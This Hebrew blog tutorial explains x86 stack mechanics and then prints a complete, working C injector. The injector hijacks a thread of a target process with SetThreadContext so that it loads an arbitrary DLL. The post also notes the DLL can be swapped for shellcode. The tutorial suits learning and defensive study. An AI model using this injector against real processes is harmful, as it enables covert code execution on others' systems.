המדריך למזריק (DLL) המתחיל – DLL Injecion Using SetThreadContext - מאמר שלישי בסדרת הזרקות קוד ו-HOOKING

הקדמה

ברוכים הבאים למאמר השלישי בסדרת המאמרים שלי בנושאי הזרקות קוד ו-Hooking. במאמר הבא אדבר על DLL Injection תוך שימוש ב-SetThreadContext. יש הקוראים לשיטה זו גם DLL Injection using Code Caves. ניתן להגיד שביחס לשני המאמרים הקודמים בסדרה (אפשר למצוא אותם כאן וכאן), המאמר הבא הוא קפיצת מדרגה. ניגע בנושאים שקרובים יותר לתחתית המערכת ולא נסתפק במעטפת האבסטרקטית בה הסתפקנו בשיטות הקודמות. במידה ולא עשיתם DLL Injection מעולם, וזו הפעם הראשונה שאתם מתנסים בתקיפה זו, מומלץ לקרוא את המאמר הראשון בסדרה. המאמר השני מראה שיטה נוספת שטיפה יותר מורכבת מהשיטה המובאת במאמר הראשון אך לא מורכבת מידיי. השיטה שנדבר עליה היום היא המורכבת ביותר מבין השלוש. אם יש לכם ידע ב-Assembly ובצורת פעולת המחסנית, יהיה לכם מעט יותר קל. אם אין לכם – אל דאגה אני אעבור שלב אחרי שלב כדי לא להשאיר אף אחד מאחור.
מאחר והטכניקה עוסקת בצורה שבה המחסנית עובדת, אתחיל מלהסביר איך המחסנית עובדת ואיך פונקציות משתמשות במחסנית. אשתדל לשמור על מיקוד מבלי לסטות לנושאים אחרים כי אפשר להיכנס דרך המון דלתות לנושאים מרתקים בהקשרים של מה שנדבר אך זו אינה מטרת המאמר. אם אני מדבר מהר מידיי תעצרו אותי. אחרי שנבין איך המחסנית עובדת, נדבר על הטכניקה עצמה. כאן אני ממליץ לעצור ולנסות לממש לבד (במיוחד אם אתם בבידוד בגלל הקורונה ויש לכם המון זמן פנוי). לאחר שמימשתם (גם אם לא הצלחתם), חזרו למאמר והמשיכו לקרוא כיצד ממשתי את הטכניקה. אצרף את הקוד המלא בסוף המאמר. אז תפשילו שרוולים ובואו נתחיל.

מחסנית In a nutshell

מחסנית היא מבנה נתונים מאוד נפוץ במדעי המחשב. המחסנית עובדת בשיטת Last In First Out או בקצרה LIFO. תחשבו על ארגז שאתם מכניסים אליו ספרים בתור. הספר האחרון שהכנסתם, כלומר זה שנמצא מעל כולם, הוא הראשון שתוציאו כשתוציאו את הספרים מהארגז. כך גם המחסנית עובדת. הערך האחרון שנכנס הוא הראשון שייצא. בנוסף לכך, המחסנית עובדת כך שההתחלה שלה נמצאת בכתובת הגבוהה ביותר והסוף שלה נמצא בכתובת הנמוכה ביותר וכך היא גדלה. זה אומר, שהנתון הראשון שאני אדחוף למחסנית יקבל כתובת גבוהה יותר מהנתון השני. הנתון השני יקבל כתובת גבוהה יותר מהנתון השלישי וכך הלאה. נראה זאת עם תרשים בסופה של הפסקה. לכל Thread בתהליך יש מחסנית משלו שהוא עובד מולה. מכיוון שכל Thread רץ בלי קשר ל-Thread-ים אחרים (יותר נכון, ניתן שזה יהיה המצב אך זה תלוי במתכנת), מתכנני מערכת ההפעלה הבינו שצריך שלכל Thread יהיה את המחסנית שלו וכך האחריות לסנכרן בין Thread-ים על מחסנית יחידה, לא מוטלת על המתכנת. אין דריסה של נתונים במחסנית בין Thread-ים וכך כולם מרוצים. ישנו מבנה נתונים נוסף שאולי שמעתם עליו – ה-Heap, או בעברית ערימה. לא נתייחס למבנה נתונים זה כי הוא אינו חלק מהתקיפה.

אוגרים הם לא רק בעלי חיים חמודים

לכל מעבד יש מספר אוגרים. אוגר הוא יחידה מאוד בסיסית וקטנה לאחסון נתונים במעבד. למעבד יש מספר אוגרים – כל אחד משמש למטרה שונה. ישנם אוגרים ל-Debugging, ישנם אוגרים לחישובים מתמטיים, ישנם אוגרים לניהול המחסנית ועוד. האוגרים שאני רוצה לדבר עליהם הם האוגרים EAX, EIP, ESP ו-EBP. גודל האוגרים נקבע לפי ארכיטקטורת המעבד. אם המעבד הוא x86, כלומר 32bit – האוגרים יהיו בגודל 32bit. אם המעבד הוא x64 כלומר 64bit, .. הבנתם. האוגר EAX הוא אוגר מאוד נפוץ לשימוש ואם תסתכלו על קוד ב-Assembly סביר להניח שזה אחד האוגרים הנפוצים יותר בקוד. EAX משמש בעיקר לפעילות מתמטית (ביחד עם עוד כמה אוגרים). אולם לא רק. EIP הוא אוגר שאחראי להכיל את הכתובת של הפקודה הבאה שהמעבד צריך להריץ. זה אומר שאם ישנו תנאי שאומר "אם קורה X אז תעשה את הפקודה שיושבת בכתובת A", והתנאי אכן מתקיים, אז בסיום בדיקת התנאי ולאחר הוראת הקפיצה המממשת את תוצאת התנאי, האוגר EIP יכיל את A. ואז המעבד יריץ את הפקודה הנמצאת ב-A. כנ"ל לגבי קריאה לפונקציות. כאשר אנו קוראים לפונקציה איך המעבד יודע להריץ את הפונקציה אם היא לא ההוראה הבאה בתור כמו שאר ההוראות? באמצעות הזנת הכתובת של תחילת הפונקציה לאוגר EIP. אולם, אם אין קפיצה ספציפית כמו תנאי או קריאה לפונקציה, ה-EIP יהיה הכתובת של הפקודה הבאה בקוד פשוט. האוגרים ESP ו-EBP הם אוגרים שעובדים ביחד. אסביר.
בכל פונקציה יכולים להיות פרמטרים ומשתנים מקומיים (כאלו שהפונקציה מגדירה וימותו אחרי שהיא תסיים לרוץ). כדי לסדר את העבודה ולהפריד את המידע שהפונקציה מחזיקה (פרמטרים, משתנים וכו'), צריך הפרדה לוגית בין המחסנית של הקוד שקרא לפונקציה לבין המחסנית של הפונקציה עצמה. ההפרדה הזו, ניהול המחסנית הזה, מתבצעים באמצעות האוגרים ESP ו-EBP. המתחם שיש לכל פונקציה במחסנית נקרא Stack Frame. ה-Stack Frame נתחם על ידי האוגרים ESP ו-EBP כך ש-EBP מצביע על בסיס ה-Stack Frame וה-ESP מצביע על סוף ה-Stack Frame. עכשיו, בהנחה שהבנתם את ההסבר שלי על מבנה המחסנית, מה יכיל כתובת גבוהה יותר, ה-ESP או ה-EBP
?  תשובה נכונה – ה-EBP בדרך כלל. למה אני אומר בדרך כלל? כי יש שלב אחד שבו לשניהם יש אותו ערך וזה באתחול Stack Frame חדש או בסגירת Stack Frame שעבודת הפונקציה שלו הסתיימה. שזה מוביל אותי לנקודה הבאה שלי. ושניה לפני כן, ההסבר לעיל, רלוונטי במדויק למערכת מבוססת 32bit אך כמעט ולא שונה מאם ההסבר היה מדויק למערכת מבוססת 64bit.

הערה: במחשבה שנייה סביר שחלקכם תקמפלו עם x64 בטעות או מרצון ועל כן ההסבר לא יתאים לכם ולכן אזרוק משפט או שניים על ההבדל בין קריאה לפונקציה בקובץ 64bit לבין קריאה לפונקציה בקובץ 32bit. ב-32bit אתם כבר יודעים מה קורה - הכל עובר דרך המחסנית (אני מדבר על stdcall ו-cdecl). ב-x64 זה לא נכון. מה שקורה ב-x64 זה שהפרמטר הראשון עובר דרך rcx, השני דרך rdx, השלישי דרך r8d והרביעי דרך r9d. ישנן קונבנציות שפעולות אחרת אך המסר שלי כאן הוא שב-x64 יש שימוש בעברת פרמטרים דרך האוגרים לפני שמכניסים למחסנית. הפרמטר החמישי נניח יועבר במחסנית. למקרה שציפיתם לראות ecx ולא rcx - ב-x64 האוגרים מקראים rcx או rax וכו'. ה-32 bit-ים הנמוכים של rax נקראים eax עם אותה חוקיות כלפי שאר האוגרים הכלליים.

התנהלות המחסנית בקריאה לפונקציה

כאשר אנו קוראים לפונקציה, צריך ליצור Stack Frame חדש. צריך לסדר את הפרמטרים שהפונקציה צריכה, צריך לשמר את הכתובת שאליה המעבד יחזור אחרי סיום הרצת הפונקציה וצריך לשמור את הכתובת הקודמת ש-EBP הצביע עליה. אז איך עושים את כל זה באופן מסודר? זה מה שאסביר כעת. אתחיל ואומר, שישנם מספר קונבנציות לעשות את זה. הן נקראות קונבנציות קריאה, או באנגלית Calling Conventions. נדאג לסגור את הנושא שלהם לאחר ההסבר הבסיסי – ממנו נתחיל.
מבנה המחסנית, בעת קריאה לפונקציה נראה כך:

בקריאה לפונקציה, נדחוף את הערכים הבאים אחד אחרי השני בסדר הזה. הפרמטרים לפונקציה, הכתובת אליה צריך לחזור בסוף הריצה של הפונקציה, הכתובת של שהכיל ה-EBP הישן ואז כל המשתנים המקומיים של הפונקציה. חלוקת העבודה שונה בין קונבנציות קריאה שונות. שתי נפוצות ששווה להכיר הן Stdcall ו-Cdecl. הקונבנציה Stdcall היא הקונבנציה המשמשת את רוב הפונקציות ב-Winapi (חלק משתמשות ב-Cdecl וקונבנציה נוספת בשם Fastcall). בקונבנציה זו מי שאחראי לנקות את המחסנית בסוף הפונקציה זה הפונקציה עצמה. בניגוד ל-Stdcall, ב-Cdecl, מי שאחראי לנקות את המחסנית זה הקוד הקורא לפונקציה. בשתי הקונבנציות, הפרמטרים נדחים למחסנית מימין לשמאל. בנוסף, יצירת ה-Stack Frame מתנהל בבלוק הקוד ששייך לפונקציה. נתחיל מהקטע קוד הבא ב-C שמציג קריאה פשוטה לפונקציה עם מספר פרמטרים. הפונקציה מגדירה משתנה מספרי ומחזירה תוצאה של חישוב פשוט:

כעת נראה איך זה נראה ב-Assembly. ראשית הקוד הקורא:

זהו הקוד של כל main. נעשה breakpoint בכתובת 0x00401480 ונריץ את התכנית. זה מצב האוגרים כעת:
רק EAX, ESP, EBP ו-EIP מעניינים אותנו כרגע. ESP מכיל את סוף המחסנית של main. EBP מכיל את תחילתה. EIP מכיל את הכתובת עליה עצרנו כי אותה המעבד צריך להריץ. EAX מכיל את הספרה אחת אך זה לא קשור אלינו. הפקודות שמעניינות אותנו מתחילות בכתובת 0x00401489. בשורה הזו יש העברה של הערך 2 למחסנית בכתובת ESP פלוס 4. כלומר אם ESP מכיל את הערך 0x0061ff10, אזי 4 ישמר ב-0x0061ff14. בפקודה הבאה, יש העברה של הערך 1 למחסנית בכתובת ESP. כלומר 1 ישמר ב-0x0061ff10. בפקודה הבאה יש קריאה לקוד שנמצא ב-0x00401460 – שם נמצאת הפונקציה func1. ניצור breakpoint לפני הקריאה ונריץ. כעת אנחנו נמצאים בשורה עם הכתובת המודגשת שהיא השורה שאנו קוראים ל-func1:
נראה את מצב האוגרים עכשיו:
הדבר היחיד שהשתנה הוא האוגר EIP שמכיל את הכתובת עליה עצרנו. נראה את המחסנית עצמה:
הכתובת 0x0061ff10 מכילה את הערך 1 והכתובת 0x61ff14 מכילה את הערך 2 כמו שחזינו. הפרמטרים הוזנו למחסנית ואפשר לסמן שלב זה כגמור. עכשיו נעבור לקוד של הפונקציה:
הקוד מתחיל ב-PUSH EBP שאומר למעבד לשמור את הערך של EBP בראש המחסנית לאחר הרצת הפקודה הזו, המחסנית נראה כך:
בראש המחסנית נשמר הערך של EBP (תראו למעלה במצב של האוגרים את הערך הזה באוגר EBP). אבל רגע, זה נשמר ב-0x0061ff08. לפני כן נשמר עוד משהו. חדי אבחנה מבניכם יראו שהמשהו הזה שנשמר בין 1 לבין ה-EBP הישן, בכתובת 0x0061ff0c זה הכתובת של השורה שבאה אחרי הקריאה לפונקציה. כלומר מישהו הכניס למחסנית שלנו את הכתובת אליה המעבד צריך לחזור בסיום הרצת הפונקציה. המישהו הזה הוא הפקודה CALL ששומרת במחסנית את הכתובת של הפקודה שצריך להריץ אחרי ריצת הפונקציה שהיא הפקודה הבאה אחרי ה-CALL הקוראת. לכן כעת המצב שלנו במחסנית הוא כזה:
נמשיך לשתי השורות הבאות:
בפקודה הראשונה אנחנו מעבירים לאוגר EBP את הכתובת שמחזיק ESP. כלומר, ה-ESP של main הופך להיות ה-EBP של func1. ואז יש לנו החסרה של הערך 0x10 שזהו 16 בספירה עשרונית, מהערך ש-ESP מחזיק. זו בעצם הגדלה של המחסנית ולמעשה הקצאת ה-Stack Frame של הפונקציה func1. נריץ את שתי הפקודות הללו וזה מצב האוגרים כעת:
הפקודות הבאות הן הלוגיקה עצמה של הפונקציה:
ראשית לוקחים את הערך 0x0a שזהו 10 בספירה עשרונית ומניחים במחסנית בכתובת של EBP מינוס 4. זהו בעצם ההגדרה של המשתנה c. לאחר מכן יש לנו העברה של הערך מ-EBP פלוס 8  לאוגר בשם EDX. עד לסיום שני המשפטים הבאים תחשבו מה יכיל EDX. לאחר מכן מעבירים את הערך מ-EBP פלוס C (כלומר פלוס 12) ל-EAX. בהוראה אחת לפני אחרונה סוכמים את EAX ו-EDX ושומרים את התוצאה ב-EAX ולבסוף מכפילים את הערך שמכיל EAX בערך שמכיל EBP מינוס 4 הלא הוא המשתנה c. בשורה השנייה, EDX מכיל את הפרמטר הראשון שהוא הספרה 1. בשורה השלישית, EAX מכיל את הפרמטר השני הלא הוא הספרה 2. נראה את מצב האוגרים בסוף השורות הללו:
EAX מכיל את המספר 1E שהוא בספירה עשרונית המספר 30, כלומר התוצאה של 1 פלוס 2 הכל כפול 10. השורות הבאות נראות כך:
הפקודה LEAVE מבצעת שני דברים – תחילה היא לוקחת את הערך שיש ב-EBP הנוכחי (שהוא ה-ESP הקודם אם תנסו להיזכר) ומציבה אותו ב-ESP. שנית, היא שולפת מהמחסנית את הערך של ה-EBP הישן ומציבה אותו באוגר EBP. בכך הפונקציה "מנקה" את המחסנית, כלומר מבטלת את ה-Stack Frame שלה. כעת ה-EBP וה-ESP זהים לערכם הקודם לריצת הפונקציה. נשארה לנו הפקודה RETN. הפקודה RETN היא בעצם קיצור של Return Near. יש עוד כמה סוגים של פקודות Return. בסופו של דבר, הרעיון מאחורי הפקודה הוא לקחת את הכתובת של EIP שאוחסנה במחסנית לפני ריצת הפונקציה ולהציב אותה ב-EIP. הערך זה הוא הכתובת אליה יקפוץ המעבד לאחר סיום הפונקציה. שמרנו אותה קודם לכן עם הפקודה CALL כמו שציינתי מוקדם יותר. המצב לפני RETN:
מחסנית:
אוגרים:
אפשר לראות ש-ESP מכיל את הכתובת במחסנית של הכתובת של ההוראה אליה נחזור. מבט קטן לקוד של main ונוכל לראות על מה מדובר.
הכתובת שנמצאת בכתובת שמחזיק ESP במחסנית היא הכתובת של הפקודה המודגשת. הפקודה הנמצאת מיד לפני הפקודה המודגשת היא זו שהכניסה אותנו ל-func1. לכן נשמרה הכתובת של ההוראה המודגשת. כעת נראה את מצב המחסנית אחרי ה-RETN:

ואת מצב האוגרים:
שימו לב ל-EIP. בדיוק מה שציפינו. נקודה אחרונה – אין ניקוי של הפרמטרים אבל למערכת לא אכפת מהם יותר וזה מתבטא בפקודה הבאה. שימו לב להוראה בכתובת 0x0040149d:
כאן אנחנו מכינים את הריצה של printf. אפשר לראות שאנו דוחפים למחסנית, בכתובת של ESP, את המצביע למחרוזת Done שאנו רוצים להדפיס. ESP מצביע על הכתובת שמחזיקה את הערך 1. נתקדם פקודה אחת ונראה שדרסנו את הערך הזה ובמקומו ישנו המצביע ל-Done:
עד לכאן פעילות המחסנית. למה כל זה מעניין אותנו? התשובה היא – בתקיפה שהמוסברת מיד לאחר משפט זה, נשתמש במחסנית כדי להריץ את ה-DLL שלנו.

הזרקת DLL עם SetThreadContext

כאמור, לכל Thread יש מחסנית וסט של אוגרים אשר משמשים את האוגר בעת הרצת ה-Thread. המחסנית היא חלק מהזיכרון בסופו של דבר. מגניב, נראה לי שהבנתם לאן אני חותר אך אם בכל זאת זה עוד לא ברור, אסביר. חשבו על כך – אם נוכל לכתוב למחסנית של Thread של תהליך מרוחק את הערכים שאנחנו רוצים ש-LoadLibrary תקבל על מנת לטעון את ה-DLL שלנו, ונשנה את ה-EIP כך שיכיל את הכתובת של LoadLibrary, נגרום ל-LoadLibrary לרוץ וכך לטעון את ה-Thread שלנו. עדיין מבולבלים? זה בסדר, נחלק את זה לשלבים:

  1. מציאת התהליך קורבן והוצאת ה-Thread ID של ה-Thread קורבן.
  2. פתיחת Handle לתהליך קורבן.
  3. פתיחת Handle ל-Thread קורבן בתהליך קורבן.
  4. אלקוץ זיכרון בתהליך קורבן.
  5. כתיבת הנתיב ל-DLL בתהליך קורבן.
  6. קבלת הכתובת של LoadLibrary במודול של Kernel32.dll.
  7. השהיית ה-Thread הקורבן.
  8. עריכת המחסנית של ה-Thread הקורבן כך שהיא תהיה במצב הנכון לקראת ריצת LoadLibrary.
  9. עריכת ה-EIP על מנת להריץ את LoadLibray.
  10. עריכת ה-ESP למיקום של ה-EIP הישן.
  11. החזרת ה-Thread הקורבן למצב ריצה.
  12. קבלת DLL Injection.

עכשיו הכל מסודר. לכו תנסו לעשות את זה לבד, תכשלו כמה פעמים ואז תצליחו. לאחר מכן חזרו למאמר והשוו את הקוד שלכם לקוד שלי. אם לא הצלחתם, המשיכו הלאה כי כעת אני מסביר כל שלב יחד עם הקוד המתאים לו.

מימוש והסבר

על כל שלב מציאת התהליך הקורבן על פי שם אני מדלג, הסברתי את זה במאמר הקודם וזו תהיה כפילות מיותרת להסביר את זה שוב. לכן לגבי שלב 1 – אתרכז יותר במציאת ה-Thread ID של ה-Thread קורבן.
שורה 21 – אילקוץ מקום בזיכרון למבנה איתו נבצע איטרציות עד אשר נמצא את ה-Thread המיועד. שורה 22 – אתחול המבנה. שורה 23 עד 27 – קבלת ה-Thread הראשון ב-Snapshot וטיפול במצב של שגיאה. שורה 29 – הגדרה המשתנה שיכיל את ה-Thread ID של ה-Thread המיועד. שורות 32-35 – ריצה על כל ה-Thread-ים ב-Snapshot עד אשר נגיע ל-Thread עם PID כמו של התהליך הקורבן. שורות 37 עד 40 – טיפול במצב שלא מצאנו Thread-ים מתאימים (לא אמור לקרות, מכיוון שתהליך ללא Thread מת).
שורה 42 – מגדירים שני Handle-ים, אחד לתהליך ואחד ל-Thread. תוך כדי גם מקבלים את ה-Handle לתהליך ואת ה-Handle ל-Thread. לאחר מכן שורות 45 עד 54 אנחנו בודקים שה-Handle-ים שהתקבלו הינם Handle-ים ברי שימוש.
שורות 56-57 – קבלת גודל הנתיב פלוס הוספת Null-Terminator בסוף. בשורות 59-60 אנחנו מאלקצים מקום בתהליך המרוחק עם הרשאות קריאה וכתיבה בלבד. לאחר מכן בשורות 62-68 אנחנו כותבים לזיכרון הזה את ה-DLL שלנו ומטפלים בתקלה אם היא מתקיימת.
כאן אנחנו מקבלים את הכתובת של LoadLibraryA במודול Kernel32.dll. הכתובת זהה גם אם התהליך שונה מכיוון שזה אחד ה-DLL הראשונים שנטענים ולכן אין סיכוי שהכתובת שהוא נטען אליה בתהליך אחד תהיה תפוסה בתהליך אחר. בייחוד כאשר ASLR פועל מה שקורה במרבית המכונות שנתקוף. לכן ניתן לסמוך על זה.
בשורות 72 עד 75 אנחנו משהים את ריצת ה-Thread ומטפלים בתקלה אם היא מתקיימת. בשורה 77 אנחנו מאלקצים מקום למבנה שיכיל את ה-Context של ה-Thread אותו אנחנו רוצים לערוך. לאחר מכן, בשורה 78, אנחנו מאתחלים את המבנה הזה. בשורה 80 עד 83 אנחנו שולפים את ה-Context של ה-Thread ושומרים אותו במבנה. כמובן גם כאן אנחנו מתייחסים למצב של שגיאה.

ברוכים הבאים לחלק שלשמו התכנסנו. כל המאמר מתרכז לששת השורות המופיעות לעיל. כאן אנחנו ממשים את המתקפה. אז מה קורה כאן. שורה 85 – אנחנו לוקחים את הערך של ה-ESP הנוכחי ב-Thread הקורבן ומחסרים ממנו 4 byte-ים. הכתובת המתקבלת תהיה הכתובת של הפרמטר ל-LoadLibrary. הפרמטר הזה הוא המצביע לנתיב של ה-DLL שלנו. בשורה 86 אנחנו כותבים לזיכרון של התהליך במיקום שחישבנו בשורה הקודמת, את המצביע לנתיב של ה-DLL שלנו. בשורה 88 אנחנו מחשבים את הכתובת במחסנית של ה-Thread, בה נרצה להניח את הכתובת חזרה כאשר הפונקציה LoadLibrary תסיים את ריצתה. הכתובת הזו תהיה 4 byte-ים מתחת לכתובת שחשבנו בשורה 85. בשורה 89 נכתוב לשם את הכתובת שמחזיק כרגע ה-Thread הקורבן שלנו. כעת יש לנו ב-ESP מינוס 4 את הכתובת לנתיב של ה-DLL שלנו וב-ESP מינוס 8 את ה-EIP הנוכחי של ה-Thread. אנחנו מתקרבים למצב שבו נריץ את ה-Thread ו-LoadLibrary יטען את ה-DLL שלנו. נשאר לנו שני דברים אחרונים לעשות. הדבר הראשון הוא שינוי ה-EIP של ה-Thread לכתובת של LoadLibrary. הדבר השני זה שינוי ה-ESP לכתובת של ה-EIP הישן. אנחנו לקראת סיום תישארו ערניים (אני ממש לא מבין את מי שלא נרגש בשלב זה של המאמר).
בשורות 95 עד 101 אנחנו מגדירים ל-Thread את ה-Context החדש ומטפלים בשגיאה אם היא מתרחשת. בשורה 101 אנחנו ממשיכם את ריצת ה-Thread. כעת קמפלו. עכשיו נבנה תהליך שיהיה הקורבן שלנו.
קוד מאוד פשוט, לולאה אינסופית עם השהייה של 10 שניות בכל איטרציה. נקמפל את זה עם GCC. נריץ את הקורבן. נריץ את ה-Injector שלנו ונקבל הזרקה:

הקוד של ה-Injector

#include <stdio.h>
#include <Windows.h>
#include <tchar.h>
#include <TlHelp32.h>
int _tmain(int argc, TCHAR * argv[]) {
// Create threads snapshot of the current system state
HANDLE handleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD | TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(handleSnapshot, &processEntry)) {
while (strcmp(processEntry.szExeFile, "victim.exe") != 0) {
Process32Next(handleSnapshot, &processEntry);
}
}
int pid = processEntry.th32ProcessID;
tagTHREADENTRY32 * ptrThread = (tagTHREADENTRY32 *)calloc(1, sizeof(tagTHREADENTRY32));
ptrThread->dwSize = sizeof(tagTHREADENTRY32);
if (Thread32First(handleSnapshot, ptrThread) != TRUE) {
system("pause");
_tprintf(TEXT("Cannot get first thread\r\n"));
return 0;
}
int tid = 0;
while (Thread32Next(handleSnapshot, ptrThread)) {
if (ptrThread->th32OwnerProcessID == pid) {
tid = ptrThread->th32ThreadID;
}
}
if (tid == 0) {
system("pause");
_tprintf(TEXT("Cannot get thread id\r\n"));
}
HANDLE handleOpenThread = OpenThread(THREAD_ALL_ACCESS, NULL, tid),
handleOpenProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);
if (handleOpenProcess == INVALID_HANDLE_VALUE) {
system("pause");
_tprintf("INVALID_HANDLE_VALUE for process id: %d\r\n", pid);
return 1;
}
if (handleOpenThread == INVALID_HANDLE_VALUE) {
system("pause");
_tprintf(TEXT("Cannot get thread handle for thread id: %d\r\n"), tid);
}
int injectedDllPathLen = _tcslen(TEXT("D:\\C\\MyFirstDll\\Debug\\MyFirstDll.dll"))
* sizeof(TCHAR) + sizeof(TCHAR);
LPVOID ptrArg = VirtualAllocEx(handleOpenProcess, NULL,
injectedDllPathLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (WriteProcessMemory(handleOpenProcess, ptrArg,
TEXT("D:\\C\\MyFirstDll\\Debug\\MyFirstDll.dll"),
injectedDllPathLen, NULL) == 0) {
system("pause");
_tprintf(TEXT("Cannot write to remote process memory\r\n"));
return 1;
}
LPVOID ptrAddr = (LPVOID)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (SuspendThread(handleOpenThread) == (DWORD)-1) {
system("pause");
_tprintf(TEXT("Cannot get suspend thread for thread id: %d\r\n"), tid);
};
LPCONTEXT ptrThreadContext = (LPCONTEXT)malloc(sizeof(CONTEXT));
ptrThreadContext->ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(handleOpenThread, ptrThreadContext)) {
system("pause");
_tprintf(TEXT("Cannot get thread context for thread id: %d\r\n"), tid);
}
LPVOID ptrDllPathPtrAddress = (LPVOID)((LPBYTE)ptrThreadContext->Esp - (LPBYTE)(sizeof(DWORD)));
WriteProcessMemory(handleOpenProcess, ptrDllPathPtrAddress, &ptrArg, sizeof(DWORD), NULL);
LPVOID ptrOldEipAddress = (LPVOID)((LPBYTE)ptrThreadContext->Esp - (LPBYTE)(2 * sizeof(DWORD)));
WriteProcessMemory(handleOpenProcess, ptrOldEipAddress, (LPVOID)&(ptrThreadContext->Eip), sizeof(DWORD), NULL);
ptrThreadContext->Eip = (DWORD)ptrAddr;
ptrThreadContext->Esp = (DWORD)ptrOldEipAddress;
if (SetThreadContext(handleOpenThread, ptrThreadContext) != TRUE) {
_tprintf(TEXT("Cannot set new context for thread id: %d\r\n"), tid);
system("pause");
return 1;
};
ResumeThread(handleOpenThread);
CloseHandle(handleSnapshot);
CloseHandle(handleOpenThread);
CloseHandle(handleOpenProcess);
system("pause");
}

סיכום

במאמר תיארתי כיצד ניתן לבצע DLL Injection בשימוש ב-Context של ה-Thread הנוכחי. לקראת הסיום ארצה להדגיש שתי נקודות. ראשית – ה-DLL יכול להתחלף ב-Shellcode עם שינויים מינוריים בקוד. שנית – ההזרקה צריכה להתבצע על Thread שרץ באופן סדיר כדי לא לקבל התנהגות בלתי צפויה. לכן אולי כדאי להזריק למספר Thread-ים בעת התקיפה. זו אחת השיטות האהובות עליי להזרקה. אני אוהב שהיא יורדת מעט יותר ל-Low Level של הדברים ומצריכה הבנה מעט עמוקה יותר. לביקורת, עצות, הערות ובכל פניה אחרת אשמח שתיצרו איתי קשר דרך המייל שלי: Orih90@gmail.com. לקבלת התראות על מאמרים חדשים תוכלו להוסיף את הבלוג ל-RSS Feed שלכם אם יש לכם ואם אין, אתם מוזמנים לעקוב אחריי ב-Twitter שם אני מודיע על מאמרים חדשים. עד לפעם הבאה – שמרו על עצמכם מהקורונה והשתדלו להישאר בבית. נתראה.

תגובות

  1. עקבתי ומימשתי בעצמי תוך כדי וזה עבד מעולה, אחלה מאמר!

    השבמחק

הוסף רשומת תגובה